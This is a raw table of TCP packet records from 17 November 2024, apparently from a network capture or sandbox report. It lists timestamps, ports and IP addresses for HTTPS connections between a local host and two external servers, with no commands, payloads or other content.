Nov 17, 2024 12:35:28.017652988 CET	49798	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.017673016 CET	443	49798	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.018400908 CET	49798	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.018407106 CET	443	49798	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.022690058 CET	443	49801	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.024686098 CET	49801	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.024708033 CET	443	49801	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.025178909 CET	49801	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.025183916 CET	443	49801	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.106471062 CET	443	49802	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.107539892 CET	49802	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.107563972 CET	443	49802	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.107986927 CET	49802	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.107992887 CET	443	49802	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.142261028 CET	443	49800	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.142298937 CET	443	49800	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.142349958 CET	49800	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.142379999 CET	443	49800	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.142399073 CET	443	49800	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.142437935 CET	49800	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.142595053 CET	49800	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.142608881 CET	443	49800	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.142636061 CET	49800	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.142647028 CET	443	49800	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.143703938 CET	443	49799	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.143876076 CET	443	49799	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.143924952 CET	49799	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.144059896 CET	443	49798	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.144206047 CET	443	49798	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.144262075 CET	49798	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.144795895 CET	49799	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.144810915 CET	443	49799	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.144824982 CET	49799	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.144831896 CET	443	49799	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.146111012 CET	49798	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.146133900 CET	443	49798	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.146150112 CET	49798	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.146157026 CET	443	49798	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.148171902 CET	49803	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.148204088 CET	443	49803	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.148257971 CET	49803	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.148818016 CET	49803	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.148832083 CET	443	49803	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.149955988 CET	49804	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.149986982 CET	443	49804	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.150041103 CET	49804	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.150135994 CET	49804	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.150144100 CET	443	49804	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.150146008 CET	443	49801	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.150296926 CET	443	49801	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.150347948 CET	49801	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.150497913 CET	49801	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.150497913 CET	49801	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.150506020 CET	443	49801	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.150511980 CET	443	49801	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.150783062 CET	49805	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.150821924 CET	443	49805	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.150875092 CET	49805	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.150968075 CET	49805	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.150979996 CET	443	49805	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.152787924 CET	49806	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.152806997 CET	443	49806	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.152861118 CET	49806	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.152981997 CET	49806	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.152992010 CET	443	49806	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.237411022 CET	443	49802	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.237484932 CET	443	49802	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.237564087 CET	49802	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.237747908 CET	49802	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.237771034 CET	443	49802	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.237787008 CET	49802	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.237792969 CET	443	49802	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.240644932 CET	49807	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.240684032 CET	443	49807	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.240770102 CET	49807	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.240937948 CET	49807	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.240952015 CET	443	49807	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.877129078 CET	443	49803	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.877835035 CET	49803	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.877846956 CET	443	49803	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.878288984 CET	49803	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.878294945 CET	443	49803	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.883285999 CET	443	49806	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.883574009 CET	49806	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.883599997 CET	443	49806	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.883908033 CET	49806	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.883913994 CET	443	49806	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.891827106 CET	443	49805	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.892136097 CET	49805	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.892155886 CET	443	49805	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.892486095 CET	49805	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.892493963 CET	443	49805	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.928508997 CET	443	49804	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.928935051 CET	49804	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.928950071 CET	443	49804	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.929364920 CET	49804	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.929371119 CET	443	49804	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.972142935 CET	443	49807	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.972579002 CET	49807	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.972596884 CET	443	49807	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.973076105 CET	49807	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.973084927 CET	443	49807	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.006923914 CET	443	49803	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.006931067 CET	443	49803	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.006999016 CET	443	49803	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.007009029 CET	49803	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.007050991 CET	49803	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.007291079 CET	49803	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.007303953 CET	443	49803	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.007323980 CET	49803	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.007329941 CET	443	49803	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.010382891 CET	49808	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.010410070 CET	443	49808	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.010490894 CET	49808	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.010658979 CET	49808	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.010670900 CET	443	49808	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.013865948 CET	443	49806	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.014025927 CET	443	49806	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.014084101 CET	49806	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.014132977 CET	49806	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.014153004 CET	443	49806	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.014167070 CET	49806	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.014173985 CET	443	49806	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.016159058 CET	49809	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.016202927 CET	443	49809	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.016282082 CET	49809	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.016418934 CET	49809	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.016436100 CET	443	49809	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.022614002 CET	443	49805	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.022644043 CET	443	49805	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.022815943 CET	49805	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.022836924 CET	443	49805	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.022936106 CET	49805	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.022936106 CET	49805	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.022957087 CET	443	49805	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.022981882 CET	443	49805	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.024898052 CET	49810	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.024919987 CET	443	49810	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.024983883 CET	49810	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.025108099 CET	49810	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.025129080 CET	443	49810	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.056507111 CET	49811	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:29.056541920 CET	443	49811	40.113.103.199	192.168.2.6
Nov 17, 2024 12:35:29.056631088 CET	49811	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:29.057229996 CET	49811	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:29.057245016 CET	443	49811	40.113.103.199	192.168.2.6
Nov 17, 2024 12:35:29.057799101 CET	443	49804	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.057864904 CET	443	49804	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.057929993 CET	49804	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.057950020 CET	443	49804	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.057995081 CET	443	49804	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.058001041 CET	49804	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.058043003 CET	49804	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.058132887 CET	49804	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.058149099 CET	443	49804	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.058161974 CET	49804	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.058168888 CET	443	49804	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.060410976 CET	49812	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.060456038 CET	443	49812	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.060600996 CET	49812	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.060715914 CET	49812	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.060733080 CET	443	49812	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.100353956 CET	443	49807	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.100430012 CET	443	49807	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.100488901 CET	49807	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.100670099 CET	49807	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.100670099 CET	49807	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.100682974 CET	443	49807	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.100694895 CET	443	49807	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.102901936 CET	49813	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.102926016 CET	443	49813	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.103033066 CET	49813	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.103163958 CET	49813	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.103178024 CET	443	49813	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.741908073 CET	443	49808	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.742460012 CET	49808	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.742474079 CET	443	49808	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.742973089 CET	49808	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.742979050 CET	443	49808	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.749496937 CET	443	49809	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.750053883 CET	49809	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.750082970 CET	443	49809	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.750499010 CET	49809	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.750508070 CET	443	49809	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.765141010 CET	443	49810	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.765500069 CET	49810	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.765511036 CET	443	49810	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.765963078 CET	49810	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.765969038 CET	443	49810	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.783786058 CET	443	49812	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.784646988 CET	49812	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.784646988 CET	49812	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.784663916 CET	443	49812	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.784682035 CET	443	49812	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.835360050 CET	443	49813	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.835752010 CET	49813	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.835773945 CET	443	49813	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.836163998 CET	49813	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.836169958 CET	443	49813	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.870711088 CET	443	49808	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.871290922 CET	443	49808	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.871491909 CET	49808	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.871570110 CET	49808	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.871587992 CET	443	49808	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.871609926 CET	49808	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.871617079 CET	443	49808	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.874239922 CET	49814	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.874281883 CET	443	49814	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.874489069 CET	49814	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.874490023 CET	49814	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.874528885 CET	443	49814	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.879040003 CET	443	49809	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.879179955 CET	443	49809	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.879240036 CET	49809	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.879275084 CET	49809	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.879295111 CET	443	49809	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.879308939 CET	49809	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.879321098 CET	443	49809	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.881006956 CET	49815	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.881036997 CET	443	49815	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.881110907 CET	49815	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.881227970 CET	49815	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.881239891 CET	443	49815	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.895751953 CET	443	49810	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.895831108 CET	443	49810	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.895879030 CET	49810	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.895941973 CET	49810	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.895951033 CET	443	49810	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.895962000 CET	49810	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.895966053 CET	443	49810	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.897686005 CET	49816	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.897766113 CET	443	49816	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.897851944 CET	49816	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.897964954 CET	49816	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.898000956 CET	443	49816	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.918565035 CET	443	49812	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.918638945 CET	443	49812	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.918716908 CET	49812	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.918806076 CET	49812	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.918806076 CET	49812	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.918819904 CET	443	49812	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.918831110 CET	443	49812	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.920551062 CET	49817	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.920639992 CET	443	49817	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.920730114 CET	49817	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.920846939 CET	49817	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.920882940 CET	443	49817	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.963931084 CET	443	49813	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.964085102 CET	443	49813	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.964164019 CET	49813	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.964345932 CET	49813	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.964345932 CET	49813	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.964360952 CET	443	49813	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.964370012 CET	443	49813	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.967052937 CET	49818	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.967103004 CET	443	49818	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:29.967184067 CET	49818	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.967336893 CET	49818	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:29.967349052 CET	443	49818	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.153220892 CET	443	49811	40.113.103.199	192.168.2.6
Nov 17, 2024 12:35:30.153295040 CET	49811	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:30.158273935 CET	49811	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:30.158284903 CET	443	49811	40.113.103.199	192.168.2.6
Nov 17, 2024 12:35:30.158617020 CET	443	49811	40.113.103.199	192.168.2.6
Nov 17, 2024 12:35:30.162493944 CET	49811	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:30.162548065 CET	49811	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:30.162556887 CET	443	49811	40.113.103.199	192.168.2.6
Nov 17, 2024 12:35:30.162688017 CET	49811	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:30.203376055 CET	443	49811	40.113.103.199	192.168.2.6
Nov 17, 2024 12:35:30.409282923 CET	443	49811	40.113.103.199	192.168.2.6
Nov 17, 2024 12:35:30.455244064 CET	49811	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:30.455275059 CET	443	49811	40.113.103.199	192.168.2.6
Nov 17, 2024 12:35:30.486423016 CET	49811	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:30.486453056 CET	443	49811	40.113.103.199	192.168.2.6
Nov 17, 2024 12:35:30.486469030 CET	49811	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:30.486530066 CET	49811	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:30.609205008 CET	443	49814	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.627259016 CET	443	49815	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.630954027 CET	443	49816	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.640275955 CET	49814	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:30.640295982 CET	443	49814	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.646667004 CET	49814	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:30.646682978 CET	443	49814	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.654505014 CET	49815	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:30.654520988 CET	443	49815	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.654854059 CET	49815	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:30.654858112 CET	443	49815	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.655694962 CET	443	49817	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.660648108 CET	49817	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:30.660686970 CET	443	49817	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.669020891 CET	49817	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:30.669034958 CET	443	49817	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.673980951 CET	49816	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:30.679362059 CET	49816	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:30.679378986 CET	443	49816	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.679706097 CET	49816	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:30.679718971 CET	443	49816	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.699717999 CET	443	49818	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.703893900 CET	49818	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:30.703922987 CET	443	49818	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.705046892 CET	49818	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:30.705053091 CET	443	49818	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.779320955 CET	443	49814	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.779567957 CET	443	49814	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.780941963 CET	49814	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:30.784724951 CET	443	49815	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.784904957 CET	443	49815	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.785011053 CET	49815	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:30.802011013 CET	443	49817	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.802046061 CET	443	49817	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.802108049 CET	443	49817	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.802162886 CET	49817	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:30.802232981 CET	49817	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:30.806004047 CET	443	49816	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.806490898 CET	443	49816	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.806550980 CET	49816	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:30.814533949 CET	49814	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:30.814533949 CET	49814	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:30.814554930 CET	443	49814	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.814564943 CET	443	49814	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.815357924 CET	49816	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:30.815376997 CET	443	49816	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.815416098 CET	49816	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:30.815422058 CET	443	49816	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.820327997 CET	49815	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:30.820348978 CET	443	49815	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.820360899 CET	49815	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:30.820365906 CET	443	49815	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.829694986 CET	443	49818	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.829890013 CET	443	49818	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.829953909 CET	49818	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:30.831077099 CET	49817	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:30.831121922 CET	443	49817	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.831305981 CET	49817	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:30.831346035 CET	443	49817	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.833328962 CET	49818	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:30.833328962 CET	49818	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:30.833345890 CET	443	49818	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.833368063 CET	443	49818	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.837883949 CET	49819	443	192.168.2.6	13.107.246.45
